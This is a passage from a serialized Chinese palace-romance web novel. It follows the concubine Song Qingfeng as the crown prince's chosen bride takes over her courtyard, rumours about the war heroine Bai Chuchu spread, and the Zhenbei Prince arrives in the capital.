那个细长的宫女也终于假装瞧见了宋轻风。 浮珠下巴抬着,叉着的腰并没有放下来,看了一眼宋轻风,道:“宋娘子怎么有空到我们院子里来了?” 宋轻风低下头,声音都轻了:“哦,我忘了。” 昨日便已搬了,只是她昨日并未搬走,晨时乌梅好像一直嘱咐她此事来着。 宋轻风认出来,这是白娘子身边的宫人,好像叫啥佛珠? 她看着愈发残破的院子,指了指快要被拆掉的小厨房道:“这里的灶烧得东西很好吃的,拆掉可惜了。” 说完将翻倒的藤椅扶了起来,又道:“此处风景极佳,这屋檐底下都吹不着风。” 还可以坐在这里,看着前头方华殿的殿顶。 “听说落雪的时候,很美呢。” 浮珠冷笑道:“就不劳宋娘子费心了,而今这院子可属于我们白娘子的,我们娘子自有打算。” 浮珠似乎不忿,口中都带着酸道:“此处脏乱,不比随云殿阔绰气派,不敢污了娘子,您还是移步去随云殿吧。” 宋轻风扫了一眼院子,还有落在自己肩头的乌鸦,好一会才道:“我们走吧。随云殿上扣出一片瓦来给你安家吧。” 她耷拉着脑袋,扫了一眼墙角撒掉的米酒,喘了口气正要出门,却撞见一个太监,牵了匹白色小马走进了院子里来。 那小白马浑身雪白,个子又比一般的马小巧,生得极为漂亮。 一人一马便在门边撞了个正着。 宋轻风下意识让到了一边,那小白马四蹄便跨进了院子里。 却听身后浮珠跑上前来,摸着小白马的脖颈道:“小雪儿,你来拉!” “瞧这个院子,白娘子说,这就是你以后的家拉!虽然寒碜了点,但是正在给你改呢,包准你满意的。咱们白娘子看来看去也就这里离马场近,还离小河塘近,你以后喝水散心都方便。” 说着浮珠对着忙碌的太监们道:“都仔细着点,这可是太子殿下送给我们白娘子的马,千金难买,这破云院,必要是半点纰漏也不得有的!否则仔细你们的皮!” “是。” 众人忙答应着,手脚愈发利索。 浮珠叹道: “哎,这破云院,名字不错,以后还叫破云院!” 宋轻风一只脚跨在门槛外,一只脚还在门内,却不知哪里生出的无边怒意。 她冲回去,抓住浮珠的领子道:“你们娘子抢走这里,只是为了用来养马?” 浮珠被她狰狞的面容吓了一跳,却又很快反应过来,心虚地叫道:“什么叫抢!我们娘子分明是拿了随云殿来与你换的!随云殿是什么地方,那可是这满东宫最好的,要我说也就我们娘子心思单纯,傻里傻气。” “这院子说要不过就是太子殿下一句话的事,居然还特意为你求了随云殿,你可别得了这天大的便宜还卖乖。” 说着犹嫌不够,为了壮一壮自己的底气,浮珠压低了嗓音,满脸的得意道:“实话告诉你吧,我们娘子的出身,可大得很,不过是一时落难!可不是你这种外头野地里长大的能比的。说不得我们娘子马上成了太子侧妃,甚至是正妃,你不过是个小小的侍妾,有个地方住已要感恩戴德了。” 一个宫人,宋轻风不欲与她纠缠,甩了她的领子道:“我去寻太子殿下。” 浮珠笑道:“太子殿下此时正与我们白娘子在一处,宋娘子您还是莫要打搅的好。” “听闻您今日一早就跑去方华殿纠缠殿下了,甚至当着一帮大臣的面就敢不知廉耻地抱住殿下不撒手!您的娘当年是春风楼里数一数二的头牌,这些勾引男人的手段,倒是学了不少。而今还想故技重施吗?” 只听一声巨大的声音“啪”响起。 宋轻风冷了脸,手掌微微发麻。 浮珠的脸上立时肿了五个手指印。 浮珠震惊地捂住脸,感觉到周围太监们全都盯着她,她又羞又气,恨不能抓狂,也顾不得什么身份差异,就要拉扯宋轻风的头发。 宋轻风眼疾手快,一把闪避开来。 抓住机会,就想给这浮珠一个狠狠的教训。 一脚刚要朝她腹部踹上去,却突然身子被人拉住了。 宋轻风气得转头,拉住她的却是乌梅。 初冬的天气乌梅一头的汗,面色通红,眼圈都是红的,死死抓住她,低声道:“娘子,千万不可。” 宋轻风一瞪眼道:“有何不可!这宫里以下犯上,我还教训不得?” 说着欲要甩开乌梅。 乌梅却死死抓住她,在她耳边极快地道:“方才内宫传来消息,太子殿下亲自点头了正妃的人选。” 她的声音极低,却如雷声穿过云层,落在了宋轻风的耳边。 宋轻风愣住,停了下来。 乌梅飞快地看了一眼浮珠,带着哭腔与宋轻风耳语道:“便是这位白娘子。” 白娘子? 她若成了太子妃,这整个东宫,都是她的。 莫说只是想在此处养马,便是想在此处养老虎,养虫子,都没人能管得着。 这是她的家,她的东宫,她的后宫。 宋轻风还未想完,却听门口传来啪嗒啪嗒的脚步声。 有个小宫女急匆匆地跑过来,满脸喜色地越过她,蹲下身与浮珠行礼道:“恭喜浮珠姐姐,贺喜浮珠姐姐,咱们白娘子,封了太子妃了,婚期就定在本月二十!” 她声音又脆又响,满院的太监全都听见了。 众人一齐跪下来,满面喜色地道:“恭喜浮珠姐姐!” 浮珠也不再管脸上的巴掌印,而是背着手,走到宋轻风面前,一脸的得意道:“宋娘子,听到了吧?不着急,以后咱们这日子还长着呢。” 宋轻风看着她脸颊上的指印,一时觉得有些迷糊。 他方才还带着她,亲自抓着她的手,去典籍厅给自己寻东西。虽然很快就走了,但是自己能寻到名字,都是有他撑腰。 原来他急匆匆地又走了,是去确定自己妻子的人选。 自己跑去文华殿时,满殿的人便该觉得不对。 他很少在文华殿接待这样多的外臣。 难道那时候就是在商议此事吗? 自己贸然闯进去,还抱住他,在他怀里大哭,到底是太唐突了,若是他妻子瞧见,该是什么心情呢。 宋轻风想到此,忍不住面色发红,心中羞愧。 当时受了些刺激,到底行事冲动了些。 可是自己此刻为何会站在此处,与一个宫女产生纠葛,甚至打起来? 这一切看起来荒唐的有些可笑。 她梦中的娘亲,虽然只有寥寥一面,可她阳光热烈,肆意洒脱,根本不会纠缠在这样的小事上头—— 作者有话说:晚安~[比心] 第67章 第 67 章 大婚 宋轻风下意识抓了抓腰侧的荷包。 而今东西已寻到了, 有一些答案,或者去了西北,才能更好地找到。 她不再看院中的情形, 离开破云院,已瞧见宫人们聚在一处窃窃私语。 瞧见她来,众人都躲躲闪闪地看着她。 消息传得这样快。 一个这样身份的女子, 却能一跃成为太子妃, 只怕很快就要叫满京内外哗然。 整个东宫已是就快沸腾的滚水,人人都热烈起来。 可这一切都叫乌梅刺得眼睛痛。 她看着前面耷拉着脑袋, 魂不守舍的宋娘子,孤身只影,心中一酸, 恨不得抱头痛哭一场。 但她不能, 只能跑到宋轻风旁边宽慰她,呸道:“瞧方才浮珠那个得瑟的样,不知道的还以为是她当了太子妃!娘子您别难过了,花无百日红, 人无千日好, 这些人而今得意个什么,以后难保还要失宠的!就像娘子您,之前……” 她一下咬住舌头, 察觉出自己这后面的话似乎不太好。 宋轻风低着头,一路走一路盯着地上的石板出神。 这条路, 曾经白楚楚走过吗? 这块砖头, 是不是也曾被她踏过呢? 这些宫内经年累月的花草,是否都曾有幸见过她意气风发的模样? 想到此,宋轻风忍了许久的眼泪有些抑制不住, 在眼眶里头打转。 娘不在了,兰哥哥也不在了。 连太子,都要成亲了。 这个世上,与她亲近的人,为何一个一个全都不在,只余她孤零零的一个人。 正自想着,突然胳膊又被人拉住。 宋轻风还没反应过来,却见乌梅满脸紧张,将她往路旁拉,差点就要踩上草丛。 路边一朵可怜的瘦弱小白花,愣是被踩倒了。 宋轻风皱了皱眉想要说什么,抬目才瞧见不光是她们,原本三三两两聚在一起的宫人全都低下头迅速地退到了路边,低眉敛目,垂手站着。 她愣了愣,反应过来。 有人来了。 太子来了。 果然远处传来急促的脚步声。 宋轻风瞧见一群人急匆匆地飞奔而来,簇拥着,正中高高坐着的人,正是太子。 他微侧着身坐在辇舆上,一身玄色蟒服,玉冠博带,正低着头,只瞧见光洁的额头。 整个人散着无上的矜贵,却连衣角却都是上位者的冷漠,令人胆怯不敢直视。 只是这行人行得甚急,连肩辇都微微震动。 此时瞧见他匆匆而来,宋轻风生了好些恍惚。 明明今日才瞧见他,他那时还拉住她的手带她去古籍厅,似乎还感觉到他温热的掌心。 分明前不久,他们还在一处风餐露宿,一起逛集市,好像成了熟悉的朋友。 可为何此刻,却有巨大的鸿沟横亘在中间。 他们之间的距离,其实从未变过。 他永远是高高在上的太子殿下,而她因为一时的贪心,勉强才靠近。 她在苍西镇热得脑袋成了一团浆糊就快要挺不过来的时候,他的生活,却还是正常地进行。 说来他虽与兰哥哥神似,他不是兰哥哥,永远不会与她一起缩在一个屋檐下躲雨。 永远不是那个给了她一个家,与她在破云庙里,度过了千千万万个日夜的家人。 风吹过宫禁,扬起风尘迷了眼。 宋轻风低下头,揉了揉眼睛。 一群人毫无停歇,飞快地往前走,对面却也传来极轻极快的脚步声。 脚步声有些熟悉,宋轻风抬头,果然是全福,满面通红地从方华殿奔过来接人。 这些人怎么都这般急。 行到面前时,李岏只是低着头飞快地经过,并未看见她。 宋轻风望过去,一时呆住了。 只见阳光下,照见几滴鲜红的血,在那白如玉脂的面颊上刺目的叫人心惊。 鲜血染在脸侧,瞧不清哪个是红痣,哪个是血滴,连隐约露出的脖颈上,都斑斑驳驳。 这是怎么了! 瞧见这模样,宋轻风心跳仿若漏了一拍,被人狠狠攥住了。 她顾不得其他,一步跨过去,攀住肩辇想要瞧个仔细。 “太……” 方开口,哪知李岏甩了手来,怒斥道:“滚开!”满脸都是厌恶和凶戾。 竟是她从未见过的可怕神色。 宋轻风心头一凉,脚底发虚,一个没站稳摔倒在地。 李岏听闻声音,这才抬起头来。 瞧见倒在路边的女子,发带松散,发丝落在脸侧,眉头皱着,正是宋轻风! 怎么是她? 他心中一惊,也顾不得叫人停下辇,一把从上头跳了下来。 李岏蹲下身扶住宋轻风,低下了头小声道:“抱歉,没瞧清是你,你怎么样,哪里受伤了吗?” 宋轻风拿开摸着脚踝的手,却一眼瞧见肩辇上头,还有一个女子。 那女子虚弱地倒在坐椅上,双目紧闭,脸色发白,正是白窈窈。 瞧那姿势,不难想到,方才便是依偎着他躺着的。 李岏方才突然离开,她没有依靠,苍白的脸上愈见憔悴,连连咳嗽了好些声,连呼吸都急促起来,胸口剧烈的起伏,眼见情况极为危险。 李岏不经意扫了辇车一眼,又转回到宋轻风,沉了声道:“她旧疾复发,命在旦夕……” 宋轻风点头道:“知道了,她瞧起来似乎不太好,您快送她去看大夫吧。” 李岏薄唇紧抿,咬了咬牙,与全福道:“去叫孤的车来送宋娘子回去,叫太医来。” “是。” 他说着直起身来,一步跨上了肩辇,道:“走,快点。” 众人抬着辇又飞速地走了。 宋轻风心头倒是松了口气,方才瞧清了,那些血不是太子的,虽然不知道是谁的,但好在他没有受伤。 想到此她这才眉头皱起,忍不住揉起来脚踝。 揉着揉着发现脚踝都肿了,这下扭得不轻。 乌梅上前来,忍不住双目泛了泪花,只是全福在一旁,她只能咬着唇帮宋轻风一起揉。 全福见她瘦弱模样,还坐在地上,一时心下生了同情,道:“宋娘子,奴婢已命人叫车和太医了,马上送您回随云殿。” 宋轻风见他虽与自己说着话,却时不时瞟向太子消失的方向。 显然方才瞧见殿下身上染血的模样,他又心中如滚油煎着,想要立刻去瞧殿下。 宋轻风踮着脚站起来道:“我没事,随云殿就在前头,全福公公,您快去瞧瞧殿下吧,他那里离不开您。” 全福犹豫了一瞬,又命两个小太监伺候宋娘子,当即转身往方华殿奔去。 宋轻风见他们都消失了,与乌梅道:“回去得弄几个热鸡蛋来,好生揉揉。” 还未说完,却感觉身后站着人。 宋轻风转头看去。 一个长相艳丽的女子,一身锦缎,满身华贵,只是双目有些红肿,神色再不见初见时的娇嗔。 正是许久不见的祝家大小姐,祝长灵。 祝长灵眨了眨眼,上下撇了她一眼道:“呵,没用的东西,这么快就失宠了。” “……” 宋轻风不欲与她多言,正要自顾转身走,哪知祝长灵却跑上前来,拦住她道:“瞧见了吗?那个才是他心心念念的女子。” “甚至不顾她是从春风楼里出来的低贱的女子,居然忤逆陛下,要封她做太子妃!殿下这是疯了,真的疯了!” 祝长灵咬牙切齿,却又泫然欲泣:“我们都输给她了。” 我们? 宋轻风有些无语,我们还没有这么熟吧? 祝长灵却似乎是抓住同病相怜之人,拦住她不让走:“走,我知道你想要喝两杯,来,去随云殿。” 说着也不管主人家是否乐意,当先一步走了。 宋轻风跟在后头,也不坐车,被乌梅扶着,一步步跨到随云殿。 哪知却见祝长灵已在那暖阁里大刀金马地坐了下来,招呼她道:“随便坐吧。” 说着自己灌了一口酒。 闻到酒香,宋轻风确实有些忍不住,也拧了酒壶来。 这两日她本就心情郁结,今日翻完武勋大典的记录,更是郁郁。 一时倒是左一口右一口,企图将自己灌醉,兴许再做一场梦,能梦到更多的事。 祝长灵坐在团垫上,宋轻风索性坐在南边的栏杆上,两人隔了距离,各喝各的,好一会都没有说话。 天色渐渐晚了。 太阳遮在云层里,外头的寒意起来,屋子里却透不进风。 没一时居然阴风渐起,天气暗沉,这是要下雨了。 宋轻风可不想祝长灵在此过夜,忙叫跟着她的婢女趁着没下雨赶紧将她带走。 哪知祝长灵却甩开婢女的手,笑道:“你知道为什么吗?” 她并没什么酒量,虽然乌梅给她的也不过是度数极低的果酒,她却已有些东倒西歪,扶着头发晕笑道:“前日在皇后娘娘宫里瞧见她的时候,我就知道我完了。” “你不知道,呵呵,你自然不知道。” 宋轻风看也不看她,自顾在栏杆上一手喝酒,一手拿热鸡蛋滚脚踝。 祝长灵受了冷落也毫无反应,自顾道:“她,她是白楚楚的女儿。” “啪嗒”一声,鸡蛋落在地上,在地上弹跳了几回滚到桌底不见了。 宋轻风拧着酒壶的手却愈发握得紧了。 祝长灵道:“你一个乡野之人出来的人,即便是你爹宁安侯,都未必知道白楚楚是谁吧?” 祝长灵直起身来,歪歪扭扭地道:“连我都不知道,还是爷爷告诉我的。谁能想到,当年赫赫有名的白马战神,竟然是个年轻的女子,还叫白楚楚?” 宋轻风扔了酒壶,走过来,逼近她道:“白楚楚,她是白楚楚的女儿?何以为证?” 祝长灵见她面颊泛着酒色的红,面容却显狰狞,却并不觉得意外,只是笑道:“证据?自然是有证据的。” “她身上,有白楚楚的信物。” “更何况,长相是骗不了人的,她前日进宫,被陛下亲眼撞见,单就那份长相,谁也掩盖不了。” “长相?”宋轻风呢喃,仔细回忆梦里那个女子的长相,越回忆却越模糊,甚至头隐隐地疼。 是了,她分明不记得她的长相,只记得她璀璨的眼睛,和嘴角灿烂的笑。 只是,若她是她的女儿,与她生得这般相似,那自己又是谁呢? 宋轻风一时又生了怀疑,难道自己查到的人,都是错的? 哪知祝长灵却继续道:“连太子殿下都认可了她的身份,自然再做不得假了。” “何况,”祝长灵半醉着,凑近了宋轻风的耳朵悄悄地道,“若她不是真的,今日陛下,又为何想要秘密处决了她?” 她声音极轻,气吹在耳垂,却似滚烫的火一般,烫得宋轻风耳垂如被烧灼。 好在太子得了消息,飞快赶了过去,那时候白窈窈已被压得奄奄一息,命在旦夕。 太子到场,一剑割断了行刑人的咽喉。 为了她,当场与陛下撕破了脸。 “殿下是什么也不顾了,原来他将她从春风楼接回来,带回东宫安进方华殿,不顾满朝的流言和压力,原来他一早就知道她的身份了。” 外头淅淅沥沥地下了雨,雨气渗进来,叫祝长灵想起,自己的哥哥还在宫门口等她。 她跌跌撞撞地起身,断断续续地道:“原以为她不过是像你一般出生卑贱之人,又能跳到哪里去,哪知而今却摇身一变,成了战神的女儿?哈哈哈哈。” 祝长灵消失在雨里。 宋轻风坐在屋檐下的躺椅上。 雨便滴落在台阶上,点点滴滴。 叫她的思绪飘回了在安西的日子。 她有记忆以来,便在那里,镇北军与安西不过百里之距,只是她居然从未去过,甚至很少耳闻。 白马战神,常年在西北之地征战,要了解她的过去,总要回西北去,若她真是她的娘亲,她便从小也该在那里长大才是,总能寻到蛛丝马迹。 她捏了捏荷包里的东西,不想而今东西是以这样的方式寻到,兰哥哥的夙愿,就要达成了吧。 乌梅冒雨去小膳堂里领了饭,关上门口与又绿道:“祝大小姐的哥哥方才来过了?” 又绿摇头道:“不曾见到。” 乌梅看了看门外,低声嘟囔道:“那方才瞧见一个男子将祝小姐接走了……” 太子殿下大婚的消息很快生了翅膀传遍了整个京师。 十来日的时间,整个东宫都在一片忙碌中度过。 不想这个时候却传来消息,太子殿下远在西北的表兄镇北王,进了京,要为殿下大婚贺喜—— 作者有话说:晚安~ 第68章 第 68 章 镇北王 暮色将晚。 镇北王进了京师的消息传进方华殿的时候, 李岏正站在方华殿的顶楼。 远处似乎传来脚步声,他习惯性地看了看,只瞧见对面的随云殿里静静的, 有个宫人捧着食盒经过。 不过眨眼之间就消失了,而后好一会再没半点动静。 是用膳时候了。 不知今日小厨房做的饭可合口味? 这些日子她在做什么,别说出门, 便是连庭院都极少走。 高守递了信过来, 躬身道:“镇北王爷将人都留在外面,只带了两个亲随就进京了, 此刻正由谢大人护送着,准备进宫拜见陛下。” 李岏正发着呆,闻此不由面色变了变, 一把揉了信道:“他既执意要来, 孤也拦不住,但这种时候怎么敢就这样进来!” 高守道:“王爷说叫殿下放宽心,他既能进来,自然也能全须全尾地出去。” 李岏站在栏边, 瞧向对面依旧安静的殿宇。 远处的森森宫阙, 在暮色浓烟里,渐渐模糊,叫人心头压抑。 不一时, 阴冷的天空飘下雨。 已是冬月,这雨都似夹着冰雪似的, 落在脸上霜雪一般, 冷得人打哆嗦。 这雨下得突然,全福没有提前带伞,忙劝解殿下下楼去。 何况此处楼高, 连风雨都似乎大一些。 李岏落下眼睑,方要转身,却听到远远的,有声音传出来。 他停住脚步,果然瞧见对面院子里,一支小小的箭飞跃而出,落在了院中的小树旁。 李岏下意识抓住了栏杆。 果然瞧见宋轻风跑了出来。 她也没有打伞,只是用手遮着头,跑到院子里,在那小树旁的地上捡起了那只小箭。 隐约瞧见那箭上串着一片干枯的落叶。 李岏抓着栏杆的手不自觉握紧,顾不得头脸上落满了雨,心中更是冰寒一片。 她方才射的很好。 一箭就穿住了正在飘落的枯叶。 单从这箭的走向看,她已寻到了精髓。 只是不过月前,他们还在马车上教她练箭,那时候不觉得什么,只是这月余来,他与她见面的次数屈指可数,说上的话更是一只手都数得过来。 旁人觉得她受了冷落,欺辱她,也无可厚非。 只是。 他想到如今在楼下的人。 好在一切都快要结束了。 不久之前,他便可以去寻她,将自己准备的东西都给她。 全福见他浑身都被雨淋湿了,苦劝无果,这楼顶又没有旁人,只好自己飞奔下去去拿伞和衣物。 李岏站在栏边,隔得这么远,依稀瞧见她皱了皱眉,似乎感觉到了什么,突然转过身来。 不知为何,李岏心中一惊,下意识地避到了一旁。 等到对面再没有声音,他才从柱子旁探出身来。 院子里的人已经不见了,却瞧见一支小箭从看不见人的屋檐射出来。 依旧是准确地串在了一片枯叶上。 这回人却没有出来,许是备了许多箭,一支又一支。 全福苦着脸站在一旁。 他闹不明白。 而今殿下即将大婚,怎么却天天跑在这顶楼发呆,整日里面色都冷得吓人。 他们这些伺候的,都跟着不知所措。 不过想来等大婚之后,就好了。 皇后娘娘在天有灵,殿下终于要成家了。 李岏在顶楼瞧了不知多久,直等到雨渗透进衣衫,浸在皮肤上,忍不住打了个冷战。 全福道:“太子殿下,您千万保重,万一染了风寒可如何是好啊?” 风寒? 李岏回过神来,这才转身下了楼。 却见白窈窈在殿门处站着,对着满院淅淅沥沥的雨出神。 他瞧见她背影消瘦,安静地仿似不动的山水一般。 听闻声响,她转过头,露出笑来:“太子殿下,这里的雨好美啊。” 李岏瞧见她杏仁一般的大眼睛眯着,面容还泛着苍白,心中愈发有些堵的慌,他走上前去道:“你身体未愈,别站在这里吹了凉风。” 白窈窈却笑道:“妾早好了,不过是发了陈年旧疾,已习惯了。” 李岏抿了嘴。 她少时受了那般多搓磨,后来一个人在外头颠沛流离,才叫身子这般弱,而这陈年顽疾,又岂是一两日能痊愈的。 他下意识摸了摸腕上的追影,想起记忆里那个笑眯眯的看着他的女子。 她是她在这世上唯一的遗孤,无论如何,他不能叫她受了伤害。 李岏站在一旁道:“只是委屈了你,待事了了,定护送你去想去的地方,不叫任何人打搅你。” 白窈窈看着满地的雨,双眸里透着盈盈水光,却嘴角含笑:“不委屈,是妾求着殿下的。” 说着却转过头来眨了眨眼睛,顽皮地道:“瞧,好些个奇珍异宝,都是妾几辈子也花不完的呢。” 李岏看着桌案上摆满的东西,却想起宋轻风那双好奇的大眼睛。 若是叫她瞧见,定要左摸摸右摸摸,赞叹上好一会。 白窈窈却捧出另一个盒子,道:“妾今日在殿下的暖阁内瞧见这些小玩意,倒是更玲珑可爱些,殿下可愿割爱?” 李岏一眼瞧见,里头都是他在苍西镇买的东西。 这些都是宋轻风看了又看,爱不释手的。 当时没来得及送出,便一直摆在他旁边。 快了。 待此间事了,再过两日,定要亲手送给她。 白窈窈见他发呆,不由娇嗔道:“太子殿下?” 李岏回过神来,接过盒子放在桌案上,道:“晚些时候叫全福带你去藏宝阁,看看有什么喜欢的。” 白窈窈眸色暗了暗,却又咬了咬唇,转而道:“后日既要大婚了,妾为殿下试一试婚服?这个请求殿下能满足吗?” 李岏看了看摆在案头多日的婚服,鲜艳的大红,滚着金边,醒目地叫人双眼刺痛…… 宋轻风对着院子里的枯树练了好一会箭。 直练得双臂酸痛,才停了下来。 她回到暖阁里,咕嘟咕嘟喝了好几口水,看了看这院子里的一切,精致繁华,是她从未住过的。 当然也是不属于她的。 她坐在台子上,端详了一眼放下来的小弩,这弩是太子送的。 转眸又瞧见那只面人,便摆在矮榻上。 她拿起来,看了看这面人紧抿的唇角,一脸的不情愿。 不由有些失笑。 这太子,倒是从一而终都是这般。 她摸了摸躲在榻上打呼噜的小白,决定离开前去趟方华殿。 后日太子殿下大婚,据说礼仪相当繁琐,要从凌晨办到深夜,到那时便没有机会了。 不管如何,走之前,向他道个别,再与他问一问白楚楚的事。 外头还在下着雨。 宋轻风撑了伞,踩着一地的水,啪嗒啪嗒地往方华殿去。 她脚踝扭了还未痊愈,路上又滑,走起路来深一脚浅一脚。 好在随云殿紧挨着方华殿,没走几步也就到了。 方到殿门口,她却顿了顿。 入目是满眼的红。光从殿门口往内看去,红色铺天盖地,无不在彰显着喜气。 她这好多日没出门,光听乌梅又绿在耳边唧唧外头办得多浓重,又有多热闹。 不曾想出了门,才有种天翻地覆,一切都变得陌生了的感慨。 宋轻风站在门槛上犹豫了一会,还是跨了进去。 好在这些守卫们对她都算熟识,直快要走到正殿门口,都无人拦下她。 哪知今日正殿门大开着。 天色已有些晚。 殿内燃着几个臂粗的红烛,连光影都晃着红光。 红光衬出两个人的影子,晃晃荡荡在照在墙上。 宋轻风见到殿内太子长身站着,一身鲜红的喜服,而那位白娘子,正弯腰在他身后,双手环过他瘦窄的腰身,为他束玉腰带。 她瞧见白娘子嘴角噙着浅笑,面目认真小心翼翼。 虽然瞧不见太子的面色,但是想来,也是一般。 这般美好的景象,她怎么忍心打破。 宋轻风低下头,抓了伞,默默地退了出去。 走到殿外,却见高守正从外间回来。 瞧见她,高守站定了,见宋轻风脸色平常,倒也没什么伤心模样,遂道:“宋娘子,已见过殿下了?” 宋轻风点了点头道:“嗯。” 嗯完却又突然想起什么来道:“我前几日给云逍大人的信,不知可送到了吗?一直未曾收到回信。” 高守道:“这几日镇北王爷入京,云逍一直陪在左右,想是无暇。” “哦,”宋轻风点了点头,又道:“殿下既要大婚,他要入宫来贺喜吗?我想见见他。” 高守便平日是个木头,此刻也觉出不妥来。 这宋娘子,是想做什么? 殿下要大婚,她该不是受了什么刺激,想另攀一根高枝? 宋轻风见他神情,知道自己没戏,也不再纠缠,道:“当我没说,我回去了。” 走了几步,却听高守突然道:“今夜镇北王爷拜见完陛下之后,便会前来拜见太子殿下,云逍与他在一处,想必也会来此。” 宋轻风一愣,镇北王? 那位传说中号领三十万镇北军,镇守西北多年的大将军,太子殿下的亲表兄。 她在安西多年,也多有耳闻。 而她在那里能多年,虽受饥饿困苦,却从未受过外敌侵扰,全都仰赖镇北军。 而她也曾听闻传言,太子殿下能多年稳居太子之位,也因有三十镇北军的后盾。 这样一位传说中的人物,而今就要出现在眼前。 若是想要知道白楚楚的消息,他该是更合适的人选。 宋轻风心中激动难言,索性撑了伞,蹲在随云殿口守着,只等着人从方华殿出来,就立马拦住。 在雨地里不知守了多久。 才听到锵锵的声响,是皮靴踩在积满水的砖地里,走路的人下脚极重,每一步却都极沉稳有力。 宋轻风就这方华殿门口的红灯笼,瞧见对面一行来了四五个人,手里各自都撑了伞。 一群人衣袂带风,彷佛是从雨中射来的几支箭羽,凌厉而尖锐。 为首一人,裹着黑色的大氅,身型高大,发束金冠,便是穿着极厚,也能感受到衣裳低下有力的身躯。 看他行在最前头,那定然就是镇北王了。 而在他的旁边偏后侧,那个一身挺板的年轻人,正是云逍。 宋轻风一动不动地隐在门边,原以为自己未发出半点声响,哪知这行人行到不远处,为首的镇北王却朝此看了过来。 宋轻风这才瞧见,他眉眼极温和,面庞虽然有些泛红,却依稀能想见曾经白皙的皮肤,不经意间,甚至能在其眉目间瞧出一点太子的影子。 宋轻风震惊地张了嘴,这位传说镇守边关三十万大军的镇北王,居然不过二十多岁!看起来不像个武将,倒更像个文人! 原以为这些人要停下来盘问她,哪知那镇北王的眸子往她的方向一扫而过,眸色温和无波,很快便又转走了。 几人脚步不停,直往方华殿。 云逍瞧清是她,倒是偷偷做了个鬼脸来。 高守在殿外候着,瞧见几人来,伸手将人引入了殿内。 乌梅又绿无法,好在而今方华殿就在隔壁,只得搬了个凳子放在门口,又燃了炉子,又捧了褥子来,宋轻风便坐在门口,一边烤着炭,一边捧着热茶。 等了半晌,却见一个黑影鬼鬼祟祟从方华殿里头溜了出来。 虽然只见过一面,宋轻风也认出这鬼鬼祟祟的人影不是别人,正是云逍。 果然他连伞也不打,直奔到近前来,在屋檐下抖了抖一身的水。 而后却直截了当地道:“我瞧你等在这里,想来是想见镇北王爷?” 宋轻风不想他直接猜到了,云逍知道她的心思,摆手道:“哎呀这有什么难猜,你们都是西北来的,你想寻他问些东西也寻常不过。不过今夜你还是别等了,太子殿下久不见镇北王,今夜留了王爷在此过夜,他不会出来了。” 宋轻风哦了一声,却笑了笑道:“多谢你来提醒我。” 云逍瞧了她一眼,又瞧了一眼,好一会才结结巴巴地道:“我之前说得话也是算数的,若是你有想法,我自去求太子殿下,如今他已成家,未必没有机会的。” 宋轻风有些失笑,却生了玩笑的心道:“我倒是觉得,镇北王瞧着也不错呢。” 云逍“啊”了一声,这回张了张口怎么也找不到反驳的话。 好一会才叹道:“说来也是,镇北王少年英雄,又至今未娶,说来镇北到处出英杰啊,我瞧着就连镇北王爷身边的人,都不似寻常人似的……” 宋轻风心中一动,道:“我正也有事要问你。” 哪知门口却已有小太监急匆匆地跑来道:“云大人,您怎么在此处,太子殿下正问您呢。” 云逍不敢耽搁,忙摆手道:“等过了殿下大婚,我来寻你。” 第69章 第 69 章 风儿,过来 云逍说着摆摆手忙急急地跑了。 周围只余哗哗的雨声。 一个人也没有了。 不远处方华殿的红色灯笼, 在风雨里摇曳,殿里头的一群人,想必是久别重逢, 其乐融融。 红墙黑瓦,在雨中一片朦胧。 宋轻风瞬间生了幻觉,好像去到了多年以后, 那时孤身一人, 再来回忆今日的情景,一时说不清是什么滋味…… 顶楼的檐下, 摆着一张不大的梨花木小酒桌。 桌上烫着壶酒,水已沸腾。 其余人皆被遣走,桌边只余二人, 斜躺着。 细雨时而斜着打进来, 浸湿了两人的袍角,两人却都没有说话,只是一口一口默默地饮着酒。 这安静的雨夜,倒叫二人一时忘却了世间纷扰, 尔虞我诈。 不想叫那些事侵染半分这样的安宁。 不知过了多久, 镇北王宁旌叹口气道:“多年不回,这宫城还是老样子。” 李岏把转着手中酒壶,看着远处黑色的殿顶发怔。 宁旌见他眉眼耷拉着, 一直心不在焉,心事重重的模样, 与前些年在军营里那挥洒肆意的少年相距甚远。 想来这几年, 他一人在宫中苦苦支撑,定是受了常人无法想象的苦楚。 好不容易而今要大婚了,那白姑娘对他也是极有情的, 宁旌生了迟疑道:“您可真想好了,白姑娘对您也算一片真心,便是留下在此,与您做个伴,也未尝不可,相信您一定会保护好她的。” 李岏道:“白姑娘自有她该去的地方,我叫她离了那些人的操纵,不是反而要困在这个宫城里,只为了给我作伴。” 宁旌知他的脾气,心中叹了口气道:“你可想好了,人我可真的带走了,以后你想再要回去,可是万万不可能的了。” 李岏眼皮微抬,面上没有半点笑意,却突然问道:“表兄,你有叫你时时都惦记着的人吗?” 他称呼表兄,倒叫宁旌一愣。 而他问的问题,更是叫宁旌神色忽变。 他看了看这位自小便不苟言笑,一本正经的表弟,张了张口,却没有说出话来。 他顺手抓了酒喝了一口,却撑住了手躺在了藤椅上。 李岏见他不开口,以为他不想理会自己这般无聊的问题,也不再追问。 不想宁旌却突然开口道:“自然,漏滴千声,无时敢忘。”他声音极轻,好似不过随口一句话。 李岏一愣,转过头,却见他面上毫无波动,好似在念诗,只是杯中微微发颤的酒液却出卖了他。 他一时生了好奇,想要探个究竟,宁旌却转过头来,双眸中勉强笑道:“只可惜,那时候从未说出口,总以为以后还有很多机会,谁知以后却再没了机会。” 李岏闻听他此言,心中震动。 不自觉地瞧向黑暗里看不见的角落,好似瞧见有人,正在檐下张望,一双黑亮亮的眼睛里都是期盼。 他脑中总也挥之不去,是那日她烧得双颊通红,瞧见自己去而复返时的惊喜笑容。 而后是想要掩饰的失望。 这样的眼神这些时日一直压在他的心头,怎么挥也挥不去,叫他甚至不敢正眼看她。 宁旌喝了口闷酒道:“说来此生我追悔莫及,若能再有机会,我一定一定会与她讲,就算她觉得是玩笑也好,拒绝也罢。” 李岏自藤椅上起身,转身就往楼下走。 宁旌见他背影远处,并没去追,而是翘起腿来喝了酒。 “表弟,”他喃喃笑着,一口饮尽杯中酒道,“希望你还有机会。” 李岏行到内殿,全福正守在口边,瞧见他下来,忙躬身过来,勾头看了看身后却不再有人,他低头问道:“太子殿下,王爷他没下来吗?” 李岏心早不知飞去了何处,边走边道:“没有传唤不要去打搅他。” “是。” 全福见他这时候不去寝殿,只顾闷头往外走,忙一路跟在后头,小声地道:“跟着王爷入宫的人,奴婢要如何安置是好?” 